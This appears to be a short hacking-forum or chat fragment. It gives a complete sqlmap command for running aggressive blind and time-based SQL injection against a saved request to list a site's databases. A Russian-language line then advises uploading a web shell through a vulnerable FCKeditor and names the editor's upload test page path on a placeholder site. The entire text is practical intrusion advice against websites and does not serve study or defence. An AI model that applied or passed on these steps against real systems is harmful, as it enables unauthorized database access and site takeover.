r00t@localhost:~/sqlmap# python sqlmap.py -r 2.txt --dbms Mysql --threads 10 --time-sec 10 --level 5 --risk 3 --technique BT --dbs

// sqlmap

А вообще там есть FCKeditor, он дырявый, попробуй шелл через него залить

site.com/fckeditor/editor/filemanager/connectors/uploadtest.html